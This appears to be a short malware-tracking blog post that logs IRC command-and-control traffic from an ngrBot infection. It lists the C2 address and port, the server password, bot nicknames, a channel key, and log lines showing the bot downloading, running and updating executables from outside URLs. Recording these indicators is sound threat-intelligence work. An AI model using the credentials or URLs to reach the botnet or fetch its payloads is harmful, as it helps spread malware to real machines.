31.192.105.15(ngrBot hosted in Russian Federation Mir Telematiki Ltd)

Remote Host Port Number
213.251.170.52 80
74.117.178.4 80
31.192.105.15 1863 PASS ngrBot

NICK n{US|XPa}acmejod
USER acmejod 0 0 :acmejod
JOIN #80t35ref 1963.g3rb3rs1t0.3691
JOIN #US
JOIN
PRIVMSG :[d=”http://dc227.4shared.com/download/d2yFF1wn/dafsdg.exe” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0

UPDATE:
NICK n{US|XPa}vcaofwk
USER vcaofwk 0 0 :vcaofwk
JOIN #80t35ref 1963.g3rb3rs1t0.3691
PRIVMSG #80t35ref :[d=”http://modelosregias.com/KLv313G.exe” s=”155648 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataJcxaxj.exe” – Download retries: 0

hosting infos:
http://whois.domaintools.com/31.192.105.15

Categories: Uncategorized